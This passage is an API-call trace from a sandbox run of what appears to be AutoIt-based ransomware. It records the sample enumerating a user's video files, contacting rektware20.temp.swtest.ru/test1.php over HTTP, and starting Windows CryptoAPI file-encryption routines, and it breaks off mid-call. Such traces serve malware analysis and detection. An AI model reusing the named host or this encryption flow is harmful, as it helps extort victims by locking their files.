lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="71 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ep_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.045] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 1 [0067.045] TranslateMessage (lpMsg=0x130f614) returned 0 [0067.045] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0067.046] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0067.052] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0067.052] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0067.052] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.053] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.053] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.053] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.053] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.053] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.053] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.053] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.053] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c) returned 1 [0067.053] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.053] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.053] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.054] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.054] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.054] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294b0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.054] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.054] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.054] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.054] CloseHandle (hObject=0x0) returned 0 [0067.055] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.055] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0067.055] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.055] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.055] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.055] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.055] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.055] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.055] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.055] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.056] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.056] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.056] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.056] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.056] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.056] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.056] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.056] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.056] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.056] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.056] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.057] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.057] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa1a8) returned 1 [0067.057] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.057] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.057] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.057] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.057] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.057] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.058] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.058] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.058] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.058] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.058] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.058] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.058] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.058] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.058] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.058] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.059] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.059] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.059] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.059] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.059] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.059] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.059] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.059] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.059] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.059] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.059] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.059] CryptCreateHash (in: hProv=0x17aa1a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.059] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.060] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.060] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 